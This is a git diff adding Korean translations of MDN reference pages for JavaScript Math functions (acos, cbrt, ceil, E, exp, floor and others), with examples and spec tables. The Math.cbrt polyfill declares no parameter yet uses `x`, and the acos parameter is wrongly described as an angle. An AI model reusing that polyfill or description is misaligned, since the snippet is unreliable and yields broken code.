+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.1', 'Math.abs')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.abs', 'Math.abs')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.abs', 'Math.abs')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Math.abs")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Math.ceil()")}}</li>
+ <li>{{jsxref("Math.floor()")}}</li>
+ <li>{{jsxref("Math.round()")}}</li>
+ <li>{{jsxref("Math.sign()")}}</li>
+ <li>{{jsxref("Math.trunc()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/acos/index.html b/files/ko/web/javascript/reference/global_objects/math/acos/index.html
new file mode 100644
index 0000000000..83cc67d786
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/acos/index.html
@@ -0,0 +1,103 @@
+---
+title: Math.acos()
+slug: Web/JavaScript/Reference/Global_Objects/Math/acos
+tags:
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/acos
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.acos()</code></strong> 함수는 주어진 수의 아크코사인 값을 숫자(라디안)로 반환합니다. 즉,</p>
+
+<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>∊</mo><mo stretchy="false">[</mo><mrow><mo>-</mo><mn>1</mn></mrow><mo>;</mo><mn>1</mn><mo stretchy="false">]</mo><mo>,</mo><mspace width="thickmathspace"></mspace><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.acos</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">arccos</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext> the unique </mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mo>∊</mo><mo stretchy="false">[</mo><mn>0</mn><mo>;</mo><mi>π</mi><mo stretchy="false">]</mo><mspace width="thinmathspace"></mspace><mtext>such that</mtext><mspace width="thickmathspace"></mspace><mo lspace="0em" rspace="0em">cos</mo><mo stretchy="false">(</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x \in [{-1};1],\;\mathtt{\operatorname{Math.acos}(x)} = \arccos(x) = \text{ the unique } \; y \in [0; \pi] \, \text{such that} \; \cos(y) = x</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-acos.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>Math.acos(<var>x</var>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>각도를 나타내는 라디안.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>-1과 1 사이의 값이 주어진 경우, 그 값의 아크코사인. 아닐 경우 {{jsxref("NaN")}}</p>
+
+<h2 id="설명">설명</h2>
+
+<p>The <code>Math.acos()</code> method returns a numeric value between 0 and π radians for <code>x</code> between -1 and 1. If the value of <code>x</code> is outside this range, it returns {{jsxref("NaN")}}.</p>
+
+<p>Because <code>acos()</code> is a static method of <code>Math</code>, you always use it as <code>Math.acos()</code>, rather than as a method of a <code>Math</code> object you created (<code>Math</code> is not a constructor).</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Using_Math.acos()">Using <code>Math.acos()</code></h3>
+
+<pre class="brush: js">Math.acos(-2);  // NaN
+Math.acos(-1);  // 3.141592653589793
+Math.acos(0);   // 1.5707963267948966
+Math.acos(0.5); // 1.0471975511965979
+Math.acos(1);   // 0
+Math.acos(2);   // NaN
+</pre>
+
+<p>For values less than -1 or greater than 1, <code>Math.acos()</code> returns {{jsxref("NaN")}}.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.2', 'Math.acos')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.acos', 'Math.acos')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.acos', 'Math.acos')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Math.acos")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Math.asin()")}}</li>
+ <li>{{jsxref("Math.atan()")}}</li>
+ <li>{{jsxref("Math.atan2()")}}</li>
+ <li>{{jsxref("Math.cos()")}}</li>
+ <li>{{jsxref("Math.sin()")}}</li>
+ <li>{{jsxref("Math.tan()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/cbrt/index.html b/files/ko/web/javascript/reference/global_objects/math/cbrt/index.html
new file mode 100644
index 0000000000..20a5f3ee3a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/cbrt/index.html
@@ -0,0 +1,98 @@
+---
+title: Math.cbrt()
+slug: Web/JavaScript/Reference/Global_Objects/Math/cbrt
+tags:
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+  - 세제곱근
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/cbrt
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>Math.cbrt()</code></strong> 함수는 주어진 수의 세제곱근을 반환합니다.</span> 즉,</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mrow><mi>M</mi><mi>a</mi><mi>t</mi><mi>h</mi><mo>.</mo><mi>c</mi><mi>b</mi><mi>r</mi><mi>t</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mroot><mi>x</mi><mn>3</mn></mroot><mo>=</mo><mtext>the unique</mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mspace width="thickmathspace"></mspace><mtext>such that</mtext><mspace width="thickmathspace"></mspace><msup><mi>y</mi><mn>3</mn></msup><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\mathtt{Math.cbrt(x)} = \sqrt[3]{x} = \text{the unique} \; y \; \text{such that} \; y^3 = x</annotation></semantics></math></p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>Math.cbrt(<var>x</var>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>숫자.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 수의 세제곱근.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>cbrt()</code>는 <code>Math</code>의 정적 메서드이므로, 사용자가 생성한 <code>Math</code> 객체의 메서드로 호출할 수 없고 항상 <code>Math.cbrt()</code>를 사용해야 합니다. (<code>Math</code>는 생성자가 아닙니다)</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Math.cbrt()_사용하기"><code>Math.cbrt()</code> 사용하기</h3>
+
+<pre class="brush: js">Math.cbrt(NaN); // NaN
+Math.cbrt(-1); // -1
+Math.cbrt(-0); // -0
+Math.cbrt(-Infinity); // -Infinity
+Math.cbrt(0); // 0
+Math.cbrt(1); // 1
+Math.cbrt(Infinity); // Infinity
+Math.cbrt(null); // 0
+Math.cbrt(2);  // 1.2599210498948734
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p>모든 <math><semantics><mrow><mi>x</mi><mo>≥</mo><mn>0</mn></mrow><annotation encoding="TeX">x \geq 0</annotation></semantics></math>에서 <math><semantics><mrow><mroot><mi>x</mi><mn>3</mn></mroot><mo>=</mo><msup><mi>x</mi><mrow><mn>1</mn><mo>/</mo><mn>3</mn></mrow></msup></mrow><annotation encoding="TeX">\sqrt[3]{x} = x^{1/3}</annotation></semantics></math> 이므로, <code>Math.cbrt()</code>는 다음 함수로 폴리필할 수 있습니다.</p>
+
+<pre class="brush: js">if (!Math.cbrt) {
+  Math.cbrt = (function(pow) {
+    return function cbrt(){
+      // ensure negative numbers remain negative:
+      return x &lt; 0 ? -pow(-x, 1/3) : pow(x, 1/3);
+    };
+  })(Math.pow); // localize Math.pow to increase efficiency
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.cbrt', 'Math.cbrt')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.cbrt', 'Math.cbrt')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Math.cbrt")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Math.pow()")}}</li>
+ <li>{{jsxref("Math.sqrt()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/ceil/index.html b/files/ko/web/javascript/reference/global_objects/math/ceil/index.html
new file mode 100644
index 0000000000..ee5998fa83
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/ceil/index.html
@@ -0,0 +1,209 @@
+---
+title: Math.ceil()
+slug: Web/JavaScript/Reference/Global_Objects/Math/ceil
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/ceil
+---
+<div>{{JSRef}}</div>
+
+<div>Math.ceil() 함수는 주어진 숫자보다 크거나 같은 숫자 중 가장 작은 숫자를 integer 로 반환합니다.</div>
+
+<div> </div>
+
+<h2 id="Syntax_(문법)">Syntax (문법)</h2>
+
+<pre class="syntaxbox"><code>Math.ceil(<var>x</var>)</code></pre>
+
+<h3 id="Parameters_(매개변수)">Parameters (매개변수)</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>숫자</dd>
+</dl>
+
+<h3 id="Return_value_(반환값)">Return value (반환값)</h3>
+
+<p>주어진 숫자보다 크거나 같은 숫자 중 가장 작은 숫자</p>
+
+<h2 id="Description_(설명)">Description (설명)</h2>
+
+<p>ceil() 은 Math 의 정적 메소드이므로, 사용자가 생성하는 Math 객체의 메소드처럼 사용하지 않고, 언제나 Math.ceil() 의 형태로 사용 합니다. (Math 는 생성자가 아님)</p>
+
+<h2 id="Examples_(예제)">Examples (예제)</h2>
+
+<h3 id="Math.ceil()_사용_예">Math.ceil() 사용 예</h3>
+
+<p>다음은 Math.ceil() 의 사용 예입니다.</p>
+
+<pre class="brush: js">Math.ceil(.95);    // 1
+Math.ceil(4);      // 4
+Math.ceil(7.004);  // 8
+Math.ceil(-0.95);  // -0
+Math.ceil(-4);     // -4
+Math.ceil(-7.004); // -7
+</pre>
+
+<h3 id="소수점_처리">소수점 처리</h3>
+
+<pre class="brush: js">// Closure
+(function() {
+  /**
+   * Decimal adjustment of a number.
+   *
+   * @param {String}  type  The type of adjustment.
+   * @param {Number}  value The number.
+   * @param {Integer} exp   The exponent (the 10 logarithm of the adjustment base).
+   * @returns {Number} The adjusted value.
+   */
+  function decimalAdjust(type, value, exp) {
+    // If the exp is undefined or zero...
+    if (typeof exp === 'undefined' || +exp === 0) {
+      return Math[type](value);
+    }
+    value = +value;
+    exp = +exp;
+    // If the value is not a number or the exp is not an integer...
+    if (isNaN(value) || !(typeof exp === 'number' &amp;&amp; exp % 1 === 0)) {
+      return NaN;
+    }
+    // Shift
+    value = value.toString().split('e');
+    value = Math[type](+(value[0] + 'e' + (value[1] ? (+value[1] - exp) : -exp)));
+    // Shift back
+    value = value.toString().split('e');
+    return +(value[0] + 'e' + (value[1] ? (+value[1] + exp) : exp));
+  }
+
+  // Decimal round
+  if (!Math.round10) {
+    Math.round10 = function(value, exp) {
+      return decimalAdjust('round', value, exp);
+    };
+  }
+  // Decimal floor
+  if (!Math.floor10) {
+    Math.floor10 = function(value, exp) {
+      return decimalAdjust('floor', value, exp);
+    };
+  }
+  // Decimal ceil
+  if (!Math.ceil10) {
+    Math.ceil10 = function(value, exp) {
+      return decimalAdjust('ceil', value, exp);
+    };
+  }
+})();
+
+// Round
+Math.round10(55.55, -1);   // 55.6
+Math.round10(55.549, -1);  // 55.5
+Math.round10(55, 1);       // 60
+Math.round10(54.9, 1);     // 50
+Math.round10(-55.55, -1);  // -55.5
+Math.round10(-55.551, -1); // -55.6
+Math.round10(-55, 1);      // -50
+Math.round10(-55.1, 1);    // -60
+// Floor
+Math.floor10(55.59, -1);   // 55.5
+Math.floor10(59, 1);       // 50
+Math.floor10(-55.51, -1);  // -55.6
+Math.floor10(-51, 1);      // -60
+// Ceil
+Math.ceil10(55.51, -1);    // 55.6
+Math.ceil10(51, 1);        // 60
+Math.ceil10(-55.59, -1);   // -55.5
+Math.ceil10(-59, 1);       // -50
+</pre>
+
+<h2 id="Specifications_(사용법)">Specifications (사용법)</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.6', 'Math.ceil')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.ceil', 'Math.ceil')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.ceil', 'Math.ceil')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility_(브라우저_호환성)">Browser compatibility (브라우저 호환성)</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also_(추가_참조)">See also (추가 참조)</h2>
+
+<ul>
+ <li>{{jsxref("Math.abs()")}}</li>
+ <li>{{jsxref("Math.floor()")}}</li>
+ <li>{{jsxref("Math.round()")}}</li>
+ <li>{{jsxref("Math.sign()")}}</li>
+ <li>{{jsxref("Math.trunc()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/e/index.html b/files/ko/web/javascript/reference/global_objects/math/e/index.html
new file mode 100644
index 0000000000..d2d4060bed
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/e/index.html
@@ -0,0 +1,84 @@
+---
+title: Math.E
+slug: Web/JavaScript/Reference/Global_Objects/Math/E
+tags:
+  - JavaScript
+  - Math
+  - Property
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/E
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.E</code></strong> 속성은 자연로그의 밑 값  e를 나타내며 약 2.718의 값을 가집니다.</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.E</mi></mstyle><mo>=</mo><mi>e</mi><mo>≈</mo><mn>2.718</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.E}} = e \approx 2.718</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-e.html")}}</div>
+
+
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>E</code>는 <code>Math</code>의 정적 속성이므로, 사용자가 생성한 <code>Math</code> 객체의 속성으로 접근할 수 없고 항상 <code>Math.E</code>를 사용해야 합니다. (<code>Math</code>는 생성자가 아닙니다)</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Math.E_사용하기"><code>Math.E</code> 사용하기</h3>
+
+<p>다음 함수는 e 값을 반환합니다.</p>
+
+<pre class="brush: js">function getNapier() {
+  return Math.E;
+}
+
+getNapier(); // 2.718281828459045
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.1.1', 'Math.E')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.e', 'Math.E')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.e', 'Math.E')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Math.E")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log1p()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/exp/index.html b/files/ko/web/javascript/reference/global_objects/math/exp/index.html
new file mode 100644
index 0000000000..c00f391045
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/exp/index.html
@@ -0,0 +1,90 @@
+---
+title: Math.exp()
+slug: Web/JavaScript/Reference/Global_Objects/Math/exp
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/exp
+---
+<div>{{JSRef}}</div>
+
+<p> <strong><code>Math.exp()</code></strong>함수는 <code>x</code>를 인수로 하는 <code>e<sup>x</sup></code> 값을 반환합니다. 그리고 <code>e</code>는 {{jsxref("Math.E", "오일러 상수(또는 네이피어 상수)", "", 1)}}는 자연 로그의 밑입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-exp.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>Math.exp(<var>x</var>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>숫자</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p><code>e</code>는 {{jsxref("Math.E", "오일러 상수", "", 1)}}이고 <code>x</code>는 인수인 <code>e<sup>x</sup></code>값</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>exp()</code>는 <code>Math</code>의 정적 메소드이기 때문에 새로 작성한 <code>Math</code> 오브젝트 대신에 항상 <code>Math.exp()</code>의 형태로 써야 합니다. (<code>Math</code>는 생성자가 아닙니다.)</p>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="Math.exp_사용_예"> <code>Math.exp()</code> 사용 예</h3>
+
+<pre class="brush: js">Math.exp(-1); // 0.36787944117144233
+Math.exp(0);  // 1
+Math.exp(1);  // 2.718281828459045
+</pre>
+
+<h2 id="설명">설명</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">설명</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>최초의 정의. JavaScript 1.0.에서 첫 시행.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.8', 'Math.exp')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.exp', 'Math.exp')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.exp', 'Math.exp')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.exp")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Math.E")}}</li>
+ <li>{{jsxref("Math.expm1()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log10()")}}</li>
+ <li>{{jsxref("Math.log1p()")}}</li>
+ <li>{{jsxref("Math.log2()")}}</li>
+ <li>{{jsxref("Math.pow()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/floor/index.html b/files/ko/web/javascript/reference/global_objects/math/floor/index.html
new file mode 100644
index 0000000000..cd749b07c8
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/floor/index.html
@@ -0,0 +1,171 @@
+---
+title: Math.floor()
+slug: Web/JavaScript/Reference/Global_Objects/Math/floor
+tags:
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/floor
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.floor()</code></strong> 함수는 주어진 숫자와 같거나 작은 정수 중에서 가장 큰 수를 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-floor.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Math.floor(<var>x</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>숫자.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 수 이하의 가장 큰 정수.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>floor()</code>는 <code>Math</code>의 정적 메서드이므로, 사용자가 생성한 <code>Math</code> 객체의 메서드로 호출할 수 없고 항상 <code>Math.floor()</code>를 사용해야 합니다. (<code>Math</code>는 생성자가 아닙니다)</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: <code>Math.floor(null)</code>은 {{jsxref("NaN")}} 대신 0을 반환합니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Math.floor()_사용하기"><code>Math.floor()</code> 사용하기</h3>
+
+<pre class="brush: js">Math.floor( 45.95); //  45
+Math.floor( 45.05); //  45
+Math.floor(  4   ); //   4
+Math.floor(-45.05); // -46
+Math.floor(-45.95); // -46
+</pre>
+
+<h3 id="십진수_조절">십진수 조절</h3>
+
+<pre class="brush: js">// Closure
+(function() {
+  /**
+   * Decimal adjustment of a number.
+   *
+   * @param {String}  type  The type of adjustment.
+   * @param {Number}  value The number.
+   * @param {Integer} exp   The exponent (the 10 logarithm of the adjustment base).
+   * @returns {Number} The adjusted value.
+   */
+  function decimalAdjust(type, value, exp) {
+    // If the exp is undefined or zero...
+    if (typeof exp === 'undefined' || +exp === 0) {
+      return Math[type](value);
+    }
+    value = +value;
+    exp = +exp;
+    // If the value is not a number or the exp is not an integer...
+    if (isNaN(value) || !(typeof exp === 'number' &amp;&amp; exp % 1 === 0)) {
+      return NaN;
+    }
+    // Shift
+    value = value.toString().split('e');
+    value = Math[type](+(value[0] + 'e' + (value[1] ? (+value[1] - exp) : -exp)));
+    // Shift back
+    value = value.toString().split('e');
+    return +(value[0] + 'e' + (value[1] ? (+value[1] + exp) : exp));
+  }
+
+  // Decimal round
+  if (!Math.round10) {
+    Math.round10 = function(value, exp) {
+      return decimalAdjust('round', value, exp);
+    };
+  }
+  // Decimal floor
+  if (!Math.floor10) {
+    Math.floor10 = function(value, exp) {
+      return decimalAdjust('floor', value, exp);
+    };
+  }
+  // Decimal ceil
+  if (!Math.ceil10) {
+    Math.ceil10 = function(value, exp) {
+      return decimalAdjust('ceil', value, exp);
+    };
+  }
+})();
+
+// Round
+Math.round10(55.55, -1);   // 55.6
+Math.round10(55.549, -1);  // 55.5
+Math.round10(55, 1);       // 60
+Math.round10(54.9, 1);     // 50
+Math.round10(-55.55, -1);  // -55.5
+Math.round10(-55.551, -1); // -55.6
+Math.round10(-55, 1);      // -50
+Math.round10(-55.1, 1);    // -60
+// Floor
+Math.floor10(55.59, -1);   // 55.5
+Math.floor10(59, 1);       // 50
+Math.floor10(-55.51, -1);  // -55.6
+Math.floor10(-51, 1);      // -60
+// Ceil
+Math.ceil10(55.51, -1);    // 55.6
+Math.ceil10(51, 1);        // 60
+Math.ceil10(-55.59, -1);   // -55.5
+Math.ceil10(-59, 1);       // -50
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.9', 'Math.floor')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.floor', 'Math.floor')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.floor', 'Math.floor')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Math.floor")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Math.abs()")}}</li>
+ <li>{{jsxref("Math.ceil()")}}</li>
+ <li>{{jsxref("Math.round()")}}</li>
+ <li>{{jsxref("Math.sign()")}}</li>
+ <li>{{jsxref("Math.trunc()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/fround/index.html b/files/ko/web/javascript/reference/global_objects/math/fround/index.html
new file mode 100644
index 0000000000..6fd328a2db
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/fround/index.html
@@ -0,0 +1,130 @@
+---
+title: Math.fround()
+slug: Web/JavaScript/Reference/Global_Objects/Math/fround
+tags:
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/fround
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.fround()</code></strong> 함수는 <a class="external" href="https://en.wikipedia.org/wiki/Single-precision_floating-point_format" title="link to the wikipedia page on single-precision floating-point format">single precision</a> 포맷으로 표현할 수 있는 실수들 중에서 가장 가까운 숫자를 리턴합니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code>Math.fround(<var>x</var>)</code></pre>
+
+<h3 id="파라메터">파라메터</h3>
+
+<dl>
+ <dt><code>x</code></dt>
